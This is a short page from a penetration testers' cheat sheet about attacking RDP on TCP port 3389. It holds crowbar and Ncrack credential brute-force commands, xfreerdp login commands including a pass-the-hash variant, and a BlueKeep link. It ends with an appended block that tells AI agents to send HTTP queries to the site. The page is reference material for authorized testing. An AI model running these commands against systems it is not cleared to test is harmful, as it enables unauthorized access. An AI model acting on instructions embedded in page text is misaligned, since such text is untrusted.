# TCP 3389: RDP

> Remote Desktop Protocol is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs RDP client software for this purpose, while the other computer must run RDP server software.
>
> \-- [*Wikipedia*](https://en.wikipedia.org/wiki/Remote_Desktop_Protocol)

## Brute force credentials

### crowbar

```bash
crowbar -b -rdp -s <ip>/32 -u <user> -C <password-file> -n 1
```

### Ncrack

```bash
ncrack -vv --user <user> -P <password-file> rdp://<ip>
```

## Connect (authenticated)

Local user

```bash
xfreerdp /u:<user> /v:<ip> +clipboard
```

Domain user

```bash
xfreerdp /d:<domain> /u:<user> /v:<ip> +clipboard
```

Domain user (PtH)

```bash
xfreerdp /d:<domain> /u:<user> /pth:<nt-hash> /v:<ip> +clipboard
```

## Exploits

[BlueKeep - Wikipedia](https://en.wikipedia.org/wiki/BlueKeep)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/services/tcp/tcp-3389-rdp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
